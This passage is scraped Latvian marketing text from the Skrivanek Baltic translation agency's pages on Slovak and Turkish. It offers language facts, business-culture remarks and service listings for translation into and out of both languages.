adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; individuālie slovāku valodas kursi. Meklējiet valodu risinājumus slovāku valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR SLOVĀKU VALODU Slovāku valoda ir slāvu valodu saimes rietumslāvu atzara valoda, ko prot aptuveni 5,2 miljoni cilvēku, galvenokārt Slovākijā un tās pierobežas kaimiņvalstīs (Čehijā, Serbijā un Ungārijā) dzīvojošie slovāki. Valoda ir ļoti tuva čehu valodai, ar kuras pratējiem slovāku valodas lietotājiem iespējams savstarpēji sazināties. Slovāku valodas leksiku veido galvenokārt no slāvu pirmsvalodas mantoti vārdi. Vistuvāk slovāku vārdu krājumam ir čehu valodas leksika. Līdzīgi kā lielākajai daļai Eiropas valodu arī slovāku valodā daudzi vārdi kultūras, zinātnes un reliģijas jomās aizgūti no sengrieķu un latīņu valodas. Mūsdienās galvenais aizguvumu avots ir angļu valoda. Slovākija var lepoties ar augstu iedzīvotāju svešvalodu zināšanas līmeni. Tā ierindojas vienā no pirmajām vietām svešvalodu zināšanu apguvē. Vismaz 65% iedzīvotāju runā divās vai vairākās svešvalodās, ierindojoties 2. vietā Eiropas Savienībā. Slovēnija un Slovākija tik bieži tiek jauktas kā valstis, ka vismaz reizi mēnesī abu valstu vēstniecību pārstāvji satiekas, lai apmainītos ar nepareizi adresētiem pasta sūtījumiem. Kremnica ir pilsēta Slovākijā, kurā atrodas pasaulē vecākā monētu kaltuve. Tajā tiek kaltas Slovākijas eiro monētas. Slovākija bija un joprojām ir valsts, kurā izgudroti daudzi pasaulē nozīmīgi izgudrojumi – izpletnis, helikopters, siltumsūknis, mākslīgā cilvēka roka, bezvadu sakari un daudzi citi galvu reibinoši atklājumi. SLOVĀKU VALODAS ALFABĒTS Slovāku valodā lieto paplašinātu latīņu alfabētu, kas papildināts ar burtkopām „dz”, „dž” un „ch”. Atsevišķi alfabēta burti papildināti ar dažām diakritiskajām zīmēm (garumzīmēm, mīkstinājuma zīmēm, umlautu un cirkumfleksu). Slovāku alfabēts sastāv no 46 burtiem, kas to padara par garāko slāvu un Eiropas alfabētu. (A a, Á á, Ä ä, B b, C c, Č č, D d, Ď ď, Dz dz, Dž dž, E e, É é, F f, G g, H h, Ch ch, I i, Í í, J j, K k, L l, Ĺ ĺ, Ľ ľ, M m, N n, Ň ň, O o, Ó ó, Ô ô, P p, Q q, R r, Ŕ ŕ, S s, Š š, T t, Ť ť, U u, Ú ú, V v, W w, X x, Y y, Ý ý, Z z, Ž ž). Slovāku valodā ir 11 patskaņu (seši īsie un pieci garie), 27 līdzskaņi un 4 divskaņi. Tiek izšķirti gan lielie, gan mazie burti. Tai raksturīga no uzsvara neatkarīga patskaņu garuma opozīcija, balsīgu/nebalsīgu līdzskaņu opozīcija, asimilācija balsīguma ziņā vai fonētiski sarežģīti līdzskaņu sablīvējumi. Pati valoda ir ļoti fonētiska, vārdu izruna sakrīt ar rakstību. CIK SAREŽĢĪTA IR SLOVĀKU VALODA? Slovāku valoda nav viegla valoda. Slovāku valodu līdzīgi kā latviešu valodu nav viegli apgūt, tās apguvei būtu nepieciešamas vismaz 44 nedēļas jeb 1100 mācību stundu. Taču eksperti uzsver, ka, lai varētu brīvi runāt profesionālā līmenī slovāku valodā, būtu nepieciešami vismaz 12 studiju gadi, prakses, valodas lietošanas ikdienā un smaga darba. Iemesls ir slovāku valodas sarežģītā gramatika un gramatiskās iezīmes, kas nav raksturīgas citām valodām. Tajā ir 10 vārdšķiru, kas ir lokāmas un nelokāmas. Lietvārdi, īpašības vārdi, vietniekvārdi un skaitļa vārdi ir deklinējami, darbības vārdi konjugējami, īpašības un apstākļa vārdiem ir salīdzināmās pakāpes. Slovāku valodas gramatiskā bagātība prasīs nopietnu darbu, koncentrēšanos un laiku valodas apguvējam. KUR UN CIK DAUDZ RUNĀ SLOVĀKU VALODĀ? Slovāku valodā runā aptuveni 4,5 miljoni cilvēku Slovākijā, kā arī slovāku diasporā pasaulē (kopā gandrīz 2,8 miljoni cilvēku – galvenokārt ASV un Čehijā, mazāk Ungārijā, Polijā, Lielbritānijā, Balkānos, Kanādā, Austrālijā un citur). Tā ir Slovākijas Republikas oficiālā valoda, kā arī kopš 2004. gada viena no Eiropas Savienības oficiālajām valodām. Kopš 1995. gada ir spēkā likums par valsts valodu: tas aizsargā slovāku valodu un nodrošina pilsoņiem tiesības sarunāties tajā gan mutvārdos, gan rakstiski un mācīties to skolās. Tas regulē slovāku valodas lietošanu dažādās jomās: oficiālajā saziņā ar valsts iestādēm, izglītībā, plašsaziņas līdzekļos. SLOVĀKU VALODAS TULKS UN TULKOTĀJS Mūsu tulkošanas birojs Skrivanek nodarbojas gan ar tipveida dokumentu rakstiskajiem un mutiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Nodrošinām arī tekstu slovāku valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Korporatīvājiem klientiem visbiežāk veicam šādus tulkojumus no/uz slovāku valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu, mārketinga tekstu adaptāciju, juridisko tekstu, tiesību aktu un produktu etiķešu tulkojumus. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. notariāli apliecinātus tulkojumus. SLOVĀKU VALODA BIZNESĀ Slovāki pēc dabas nav runīgi, dodot priekšroku netiešai un piesardzīgai komunikācijai. Sadarbības partneriem jābūt gataviem lasīt starp rindiņām. Tas nenozīmē, ka slovāki cenšas kaut ko slēpt, tikai to, ka viņi nav pieraduši izteikt savas domas pilnīgi svešiem cilvēkiem. Slovāki ir pazīstami ar savu vēso prātu un atturīgu attieksmi. Saziņa ar rokām vai mežonīga žestikulācija nav raksturīga slovāku uzvedībai. Daudzi cilvēki, kas Slovākijas Republikā ieņem vadošus amatus, pārvalda vairākas valodas. Lielākā daļa runā angļu, krievu un vācu valodā, un cilvēki no Slovākijas dienvidiem varētu runāt arī ungāru valodā. Kopumā dienvidos vecāka gadagājuma cilvēki nedaudz runā vāciski, krieviski, angliski un ungāru valodā. Jaunākā paaudze galvenokārt lieto angļu valodu kā otro valodu, bet populāras ir arī franču un vācu valodas. Lielākā daļa jauno uzņēmēju brīvi runā angļu valodā, un tas nozīmē, ka nav nepieciešams tulks darījumu sarunām. Bet ir vēlams iemācīties dažas saveicināšanās un pieklājības frāzes slovāku valodā, lai jau tikšanās sākumā pārliecinātu slovāku potenciālo biznesa partneri, ka sadarbība ar viņu būs godīga, cieņpilna un jums svarīga. Attieksmei un vērtībām ir liela nozīme, mēģinot attīstīt biznesa attiecības starp divām kultūrām vai valstīm. Slovāki ir labi pazīstami ar savu profesionalitāti un saprātīgumu biznesā. Viņi ir draudzīgi, taču atturīgi, un būs nepieciešamas dažas vizītes, lai jūs iepazītu, pirms viņi patiešām varēs justies ērti kopā ar jums. Ārpus Slovākijas robežām slovāku valodu kā biznesa valodu praktiski nelieto. SLOVĀKI LATVIJĀ Sākotnēji Čehoslovākijas Republika nodibināja diplomātiskās attiecības ar Latviju jau 1922. gadā. Latvijas Republikas un Slovākijas Republikas diplomātiskās attiecības tika nodibinātas 1993. gada 1. janvārī, kad izveidojās divas neatkarīgas valstis − Čehijas Republika un Slovākijas Republika. Latvija ir vienīgā no Baltijas valstīm, kurā Slovākija ir atvērusi vēstniecību. Vēstniecība tika atklāta 2000. gada 5. novembrī. Slovākijas vēstniecības Rīgā misija ir vispusīgi attīstīt sadarbību starp Slovākiju un Latvijas Republiku un Lietuvas Republiku politiskās, ekonomiskās un kultūras jomas padziļināšanai. Sadarbība ar Slovākiju kopumā nav aktīva, nav noslēgti divpusēji starpvaldību vai starpministriju līgumi par sadarbību izglītībā un zinātnē. Tomēr vairākām Latvijas augstskolām ir sadarbības partneri Slovākijā un sadarbība notiek Erasmus+ programmas ietvaros. Ar Slovākijas augstākās izglītības iestādēm sadarbojas Latvijas Universitāte, Daugavpils Universitāte, Latvijas Kultūras akadēmija, Rēzeknes Tehnoloģiju akadēmija, Rīgas Juridiskā augstskola, Rīgas Starptautiskā ekonomikas un biznesa administrācijas augstskola, Rīgas Stradiņa universitāte, Rīgas Tehniskā universitāte, Biznesa augstskola „Turība”, Vidzemes Augstskola, Latvijas Lauksaimniecības universitāte, Banku augstskola, Transporta un sakaru institūts, Liepājas universitāte. Slovākija arī piedāvā stipendijas Latvijas studentiem un akadēmiskajam personālam. Latvijas Zinātņu akadēmija ir noslēgusi veiksmīgu divpusējās sadarbības līgumu ar Slovākijas Zinātņu akadēmiju. Starp Latvijas Nacionālo bibliotēku un Slovākijas Nacionālo bibliotēku ir noslēgts savstarpējās sadarbības līgums. Noris arī abu valstu sadarbība aizsardzības jomā. Vairākkārtēji Slovākijas karavīri ir uzturējušies Latvijā NATO kaujas apmācībās. 2022. gada 2. martā Daugavpils Rotko mākslas centrā tika atklāta Slovākijas mākslinieku Janas Mahatovas un Pētera Mahata juvelierdarbu izstāde „Prāta atbalss”. Abi mākslinieki ir ierindojami starp Slovākijas vadošajiem juvelieriem. Izstādes projekts ir liels solis Daugavpils ceļā uz „Eiropas kultūras galvaspilsētas 2027” statusa iegūšanu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO SLOVĀKU VALODAS: dokumentu tulkojumi slovāku valodā; steidzami tulkojumi; mutiskie tulkojumi slovāku valodā; notariāli apliecināts tulkojums; lokalizācija; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; individuālie slovāku valodas kursi. SLOVĀKU VALODAS KOMBINĀCIJAS: slovāku–latviešu; latviešu–slovāku; slovāku–lietuviešu; lietuviešu–slovāku; igauņu–slovāku; slovāku–igauņu; angļu–slovāku; slovāku–angļu; krievu–slovāku; slovāku–krievu; poļu–slovāku; slovāku–poļu; ukraiņu–slovāku; slovāku–ukraiņu; čehu–slovāku; slovāku–čehu; vācu–slovāku; slovāku–vācu; spāņu–slovāku; slovāku–spāņu; franču–slovāku; slovāku–franču; itāļu–slovāku; slovāku–itāļu; dāņu–slovāku; slovāku–dāņu; zviedru–slovāku; slovāku–zviedru; norvēģu–slovāku; slovāku–norvēģu; somu–slovāku; slovāku–somu u. c. --- > Rakstiskie un mutiskie tulkojumi turku valodā. Vairāk kā 25 gadu pieredze. Saņemiet bezmasas cenas aprēķinu tikai 15 minūtēs! - Published: 2022-04-20 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/ - Translation Priorities: Optional TULKOJUMI TURKU VALODĀ / TULKOT TURKU VALODĀ CIK MAKSĀ TULKOJUMI TURKU VALODĀ? Pasūtījumam cena tiek noteikta individuāli. To veido vairākas būtiskas komponentes – izpildes termiņš, nozares specifika, terminoloģijas pieejamība, rasējumu, attēlu, grafiku sarežģītība, koriģēšana, formatēšana, kā arī klienta pasūtītie papildus pakalpojumi (notariāls apstiprinājums, apostille u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu cenrādis no/uz turku valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa, mēs vienmēr sniedzam sīku izklāstu par tulkojuma cenu pirms projekta realizācijas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā uz Skrivanek Baltic spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, atkārtojumiem tekstā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TURKU VALODĀ: dažādu dokumentu tulkošana turku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; turku valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi turku valodā; individuālie turku valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus turku valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI TURKU VALODĀ / TULKOT TURKU VALODĀ CIK MAKSĀ TULKOJUMI TURKU VALODĀ? Pasūtījumam cena tiek noteikta individuāli. To veido vairākas būtiskas komponentes – izpildes termiņš, nozares specifika, terminoloģijas pieejamība, rasējumu, attēlu, grafiku sarežģītība, koriģēšana, formatēšana, kā arī klienta pasūtītie papildus pakalpojumi (notariāls apstiprinājums, apostille u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu cenrādis no/uz turku valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa, mēs vienmēr sniedzam sīku izklāstu par tulkojuma cenu pirms projekta realizācijas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā uz Skrivanek Baltic spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, atkārtojumiem tekstā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TURKU VALODĀ: dažādu dokumentu tulkošana turku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; turku valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi turku valodā; individuālie turku valodas kursi. Meklējiet valodu risinājumus turku valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR TURKU VALODU Turku valodas un kultūras bagātība neapšaubāmi ir viens no iemesliem, kāpēc Turcija ir tik ļoti populārs tūristu galamērķis. Pilnībā iegremdēties turku virtuvē, tējas rituālos, etniskajās valodās un vēsturiskajā arhitektūrā ir visu ceļotāju lolots sapnis. Atbildīgā institūcija par turku valodas uzraudzību Turcijā ir Turku valodas asociācija. Tā ir dibināta 1932. gadā. Asociācija rūpējas par literārās turku valodas vārdu krājumu un turku valodas gramatiku, kā arī uzrauga turku valodas lietojumu publiskās vietās. Pēdējo 100 gadu laikā turku valoda ir stipri mainījusies. Viens no galvenajiem Turku valodas asociācijas mērķiem ir valodas tīrības izkopšana. Līdz 1932. gadam turku valodā bija tikai 35–40% turku izcelsmes vārdu, pārējie bija atvasināti no citām valodām – arābu vai persiešu. Tagad gandrīz 80% turku valodas vārdu ir turku izcelsmes. Turki pilnībā pārveidoja savu alfabētu 1932. gadā. Cilvēki, kuriem ir zināšanas par Turciju, var būt informēti par Mustafu Kemalu Ataturku ─ Turcijas Republikas prezidentu un dibinātāju. Pēc Osmaņu impērijas sabrukuma viņš pilnībā mainīja turku alfabētu, pārveidojot to no arābu uz rietumniecisku latīņu rakstību. 19. gadsimtā turku izcelsmes aizguvumi sāka ienākt angļu valodā caur ceļotāju, emisāru un tirgotāju ziņojumiem, no vienas puses, un ar vēstures rakstiem un presi, no otras puses. Turku valodas ietekmi uz angļu valodu var redzēt tādos ikdienas vārdos kā: kiosks (no köşk), kajaks (no kayık), jogurts utt. Turku putnu valoda (turku: kuş dili) ir turku valodas versija, kas tiek runāta ar skaļu svilpienu un melodiju palīdzību. Sākotnēji to izmantoja Turcijas lauksaimnieki, lai sazinātos lielos attālumos, un tagad tajā ir 10 000 runātāju. Valoda ir saistīta ar Kuşköy — ciematu Turcijas ziemeļu Pontijas kalnos. Turku valoda varētu būt radusies pirms 400 gadiem, taču tās izcelsme joprojām ir neskaidra. UNESCO iekļāva putnu valodu savā Nemateriālā kultūras mantojuma sarakstā 2017. gadā. Tā kā Kuşköy ir zemnieku ciemats ar dziļu ieleju, svilpošanu var dzirdēt ievērojami tālāk nekā tikai kliegšanu. Kad ciema iedzīvotāji sāka lietot mobilos tālruņus, daudzi uzskatīja, ka tas ir daudz vienkāršāks un efektīvāks saziņas veids. Tomēr ciemata iedzīvotāji ļoti rūpējas, lai uzturētu valodu, rīkojot festivālus, izmantojot to ikdienā. Kopš 2014. gada rajona iestādes sāka mācīt valodu pamatskolas līmenī. Turku daiļliteratūra reti tiek tulkota citās valodās. Aşk – viens no spēcīgākajiem vārdiem turku valodā aşk nozīmē mīlestība. Cilvēkus Turcijā ļoti aizrauj emocijas un visa no tā izrietošā melodrāma. Šo vārdu bieži lieto turku dzejā, dziesmās un valsts slavenajās ziepju operās. Turku valodā tiek uzskatīts, ka nepieklājīgi ir uzrunāt kādu tikai vārdā, it īpaši tas attiecās uz vecākiem cilvēkiem. Vārdam vienmēr ir jāpievieno pieklājības uzruna, piemēram – teyze (tante), vai amca (tēvocis). Ja uzrunājamās personas vārds nav zināms, tad noteikti ir jālieto hanimefendi (kundze) vai beyefendi (kungs). Turku valodā uzsvars parasti ir uz vārda pēdējās zilbes. Taču uz no citām valodām aizgūtajiem vai pat lokalizētajiem vietvārdiem šis likums var neattiekties, piemēram, Izmira. Arī Bursa u. c. vietvārdi, kuros uzsvars tomēr ir uz pirmās zilbes. Turku valodai nav dzimumu kategorijas. TURKU VALODAS ALFABĒTS Turku alfabēts (turku: Türk alfabesi) ir latīņu rakstības alfabēts, ko izmanto rakstīšanai turku valodā. Tas sastāv no 29 burtiem, no kuriem septiņi (Ç, G, I, Š, Ö, S un Ü) ir pārveidoti, to latīņu oriģinālvalodas fonētiskajām prasībām. Šis alfabēts atspoguļo mūsdienu turku izrunu ar augstu precizitātes pakāpi. Tas tika apstiprināts 1928. gadā kā daļa no Ataturka reformām, tas ir pašreizējais oficiālais alfabēts turku valodā. Turku alfabēts ir bijis paraugs oficiālai latinizācijai vairākām valodām, kas iepriekš tika rakstītas arābu vai kirilicas rakstībā, piemēram, azerbaidžāņu (1991), turkmēņu (1993) un nesen kazahu valodā (2021). Agrākais zināmais turku alfabēts ir vecturku alfabēts, un pirmās saglabājušās liecības par to ir datētas ar 7. gadsimtu. Kopumā turku valoda ir rakstīta vairākos dažādos alfabētos, tostarp rūnu, uiguru, kirilicas, arābu, grieķu, latīņu un dažās citās Āzijas rakstīšanas sistēmās. Daži turku reformisti veicināja latīņu rakstības pārņemšanu krietni pirms Ataturka reformām. 1862. gadā, agrākā reformu periodā, valstsvīrs Munufs Paša iestājās par alfabēta reformu. 20. gadsimta sākumā līdzīgus priekšlikumus izteica vairāki ar jauno turku kustību saistīti rakstnieki, tostarp Hüsejins Kahits, Abdullahs Cevdets un Selāls Nuri. Šis jautājums atkal tika aktualizēts 1923. gadā jaundibinātās Turcijas Republikas pirmajā ekonomikas kongresā, izraisot publiskas debates, kuras turpinājās vairākus gadus. Mūsdienu turku alfabēts sastāv no 21 līdzskaņa un 8 īsiem patskaņiem. Vēl papildus tiek lietota diakritiskā zīme (ˆ). To lieto ar burtiem „â”, „û”, „î”. Gramatiski tā skaitās mīkstinājuma zīme, garumzīme, arī zīme, kas ļauj atšķirt vārdu nozīmes (âlem – pasaule, alem – karogs, minaretu pusmēness, utt. ) Sastopama tikai no arābu un persiešu valodas palikušajos vārdos, jo turku valodā ne garo patskaņu, ne mīkstinājumu nav. Mūsdienu turku alfabēta burti simboli tika aizņemti no dažādiem Eiropas alfabētiem: zviedru, vācu, albāņu, rumāņu un citiem ─ (A, B, C, Ç, D, E, F, G, Ğ, H, I, İ, J, K, L, M, N, O, Ö, P, R, S, Ş, T, U, Ü, V, Y, Z). VAI TURKU VALODA IR SAREŽĢĪTA VALODA? ASV Ārlietu dienesta institūts visas pasaules valodas ir sarindojis pēc to grūtības pakāpes, kur turku valoda tiek pieskaitīta 4. kategorijas valodām. Tas nozīmē, ka ir nepieciešamas 44 nedēļas jeb 1100 stundas, lai apgūtu turku valodu. Tā var atšķirties no citām valodām, taču tā nav tik grūta. Jā, turku valodas apguve prasīs zināmu laiku un pūles. Turku valodā tiek lietots latīņu alfabēts, kurā pieraksta lielu daļu pasaules valodu, turku valodai nav dzimuma kategoriju, tātad nav artikulu. Valodas apguvi padara vieglāku arī fakts, ka turku valodā nav uzsvara. Mazliet grūtāk būs ar burtiem, kuri nav raksturīgi citām valodām. Bet atliek iemācīties tikai to izrunu. KUR UN CIK DAUDZ RUNĀ TURKU VALODĀ? Turku valodu prot vairāk nekā 63 miljoni cilvēku visā pasaulē, kas padara to par lielāko tjurku saimes valodu. Turku valodā runājošie pamatā dzīvo Turcijā un Kiprā, kā arī nelielās kopienās Grieķijā, Bulgārijā, Ziemeļmaķedonijā, Kosovā, Albānijā, Uzbekistānā. Daži miljoni turku valodā runājošo dzīvo arī Rietumeiropas valstīs, jo īpaši Vācijā. Turku valoda ir oficiālā valsts valoda Turcijā un tā ir arī viena no oficiālajām valsts valodām Kiprā. Tai ir piešķirts arī oficiālās valodas statuss atsevišķās Ziemeļmaķedonijas pašvaldībās, atkarībā no turku valodā runājošo skaita attiecīgajā apvidū, kā arī oficiāls statuss Kosovas Prizrenas rajonā. Turku valodā runā iedzīvotāji Turcijā un mazākumtautības 35 valstīs. Turku valoda izplatīta tajās valstīs vai to daļās, kas agrāk piederēja Osmaņu impērijai, piemēram Bulgārijā, Rumānijā, Serbijā, Ziemeļmaķedonijā, Sīrijā, Grieķijā un Izraēlā. Vācijā dzīvo vairāk nekā divi miljoni turku valodas pratēju. Ievērojams turku valodā runājošo skaits dzīvo arī Austrijā, Beļģijā, Francijā, Nīderlandē, Šveicē un Apvienotajā Karalistē. Desegregācijas ietekmē vairums turku izcelsmes imigrantu turku valodu savās mītnes zemēs vairs neprot tik labi kā Turcijā dzīvojošie turki. Turku valodu prot gandrīz visi Turcijas pastāvīgie iedzīvotāji, bet pārējie ir pārsvarā kurdi. Vairumam Turcijas cittautiešu turku valoda ir otrā valoda, bet viņiem zināšanu līmenis turku valodā līdzinās dzimtajai valodai. TURKU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojam Skrivanek ir vairāk nekā 25 gadu pieredze valodu pakalpojumu jomā Baltijā un Ziemeļvalstīs. Mūsu tulku, tulkotāju un lingvistu komanda jums piedāvās gan regulāros, gan notariāli apliecinātos tulkojumus. Skrivanek nodrošina ne tikai rakstiskās tulkošanas pakalpojumus turku valodā, bet arī mutiskos tulkojumus, kā arī dažādu nozaru tekstu turku valodā stilistisko uzlabošanu, redaktūru, korektūru un terminoloģijas pārbaudi. Visbiežāk veicam šādu tekstu tulkojumus no/uz turku valodu juridiskām personām – tehnisko tekstu, tiesu nolēmumu, e-komercijas un mājaslapu tulkojumus. Fiziskām personām piedāvājam civiltiesisko stāvokļu aktu, personu apliecinošo dokumentu tulkojumus – pases, laulību apliecības, bērnu dzimšanas apliecības, izglītības dokumentu u. c. Pēc klienta pieprasījuma izskatām iespēju veikt jebkura veida tulkojumus. Par tulkojuma pareizību, iztulkotā teksta labskanību un stilu parūpēsies mūsu turku valodas redaktori un korektori, kuriem turku valoda ir dzimtā. TURKU VALODA BIZNESĀ Turku valoda ir 12. visvairāk runātā valoda pasaulē. Valstī strauji attīstās ekonomika, kas palīdz Turcijai ieņemt svarīgu vietu starptautiskajā biznesa arēnā. Tāpēc turku valodas apgūšana ir noderīga, jo īpaši privātpersonām un uzņēmumiem, kuri interesējas par uzņēmējdarbību Turcijā. Arī karjeras iespējas Turcijā ir plašas ļoti dažādās jomās – sākot ar politikas, tehnoloģijas, finanšu nozares līdz pat tūrismam. Ja pārsteigsiet savu sadarbības partneri Turcijā ar viņa dzimtās valodas zināšanām, tad var rēķināties, ka sadarbības līgums jau ir parakstīts. Kā notiek biznesa pārrunas ar turku uzņēmēju? Oficiālas tikšanās biroja vidē mijas ar neformālām pārrunām kafejnīcās un viesnīcu salonos. Abos gadījumos tās ir izplūdušas un bez noteikta plāna. Lietišķā sarunā turki joko maz un nemanāmi. Viņi nemēdz izteikties tieši un negribīgi saka „nē”. Būt pieklājīgam un meklēt vienošanos vai kompromisu ir daudz svarīgāk nekā informēt vai izskaidrot un pamatot viedokļu atšķirības. Tāpēc sarunas parasti norit ļoti pozitīvā gaisotnē, taču to iznākums bieži vien nav skaidrs. Turklāt turku kultūrā dominē mutvārdu saziņa, tāpēc teiktajam un dzirdētajam ir daudz lielāks svars nekā rakstītajam. Vairākums darījumu notiek saskaņā ar mutisku norunu, un rakstisku apstiprinājumu tām ir grūti iegūt. Eiropas valodu pratējiem turku valodu nav viegli iemācīties, jo sevišķi tāpēc, ka darbības vārdu laiku veidošana un teikumu konstrukcijas eiropeiskajam domāšanas veidam ir pasvešas. Izglītotie Turcijas iedzīvotāji prot angļu valodu, gados vecāki cilvēki zina franču valodu. Ar pārējiem, īpaši ārpus lielajām pilsētām, vislielākās izredzes ir sazināties vācu valodas pratējiem. Ārpus Turcijas turku valoda lielu lomu biznesa vidē diemžēl nespēlē. TURKU VALODAS SVĒTKI Turku valodas svētki katru gadu tiek svinēti 26. septembrī. Tā ir nozīmīga diena turku valodas vēsturē un pašai turku tautai. Šis datums tika izvēlēts, lai atgādinātu par to, ka 1932. gadā, pateicoties pirmajam Turcijas Republikas prezidentam Mustafam Kemalam Ataturkam, turku valoda tika pasludināta par oficiālo valodu valstī. Turku valodas svētku ietvaros visā valstī mācību iestādēs tiek organizēti dažādi pasākumi, kas veicina interesei par turku valodas seno vēsturi, attīstību, kā arī daudz tiek runāts par valodas tīrību, mudinot cilvēkus izskaust svešvārdu un aizguvumu lietošanu. Ataturks bija arī pirmais cilvēks, kas iestājās par turku valodas aizsargāšanu no citu valodu ietekmes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TURKU VALODĀ: dažādu dokumentu tulkošana turku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; turku valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi turku valodā; individuālie turku valodas kursi. TURKU VALODAS KOMBINĀCIJAS: turku–latviešu; latviešu–turku; turku–lietuviešu; lietuviešu–turku; igauņu–turku; turku–igauņu; angļu–turku; turku–angļu; krievu–turku; turku–krievu; poļu–turku; turku–poļu; ukraiņu–turku; turku–ukraiņu; čehu–turku; turku–čehu; vācu–turku; turku–vācu; spāņu–turku; turku–spāņu; franču–turku; turku–franču; itāļu–turku; turku–itāļu; dāņu–turku; turku–dāņu; zviedru–turku; turku–zviedru; norvēģu–turku; turku–norvēģu; somu–turku; turku–somu u. c. --- > Ikgadējais konkurss "Labākais jaunais tulkotājs" tiek rīkots sadarbībā ar 9 lielākajām Latvijas augstskolām. Vērtīgas 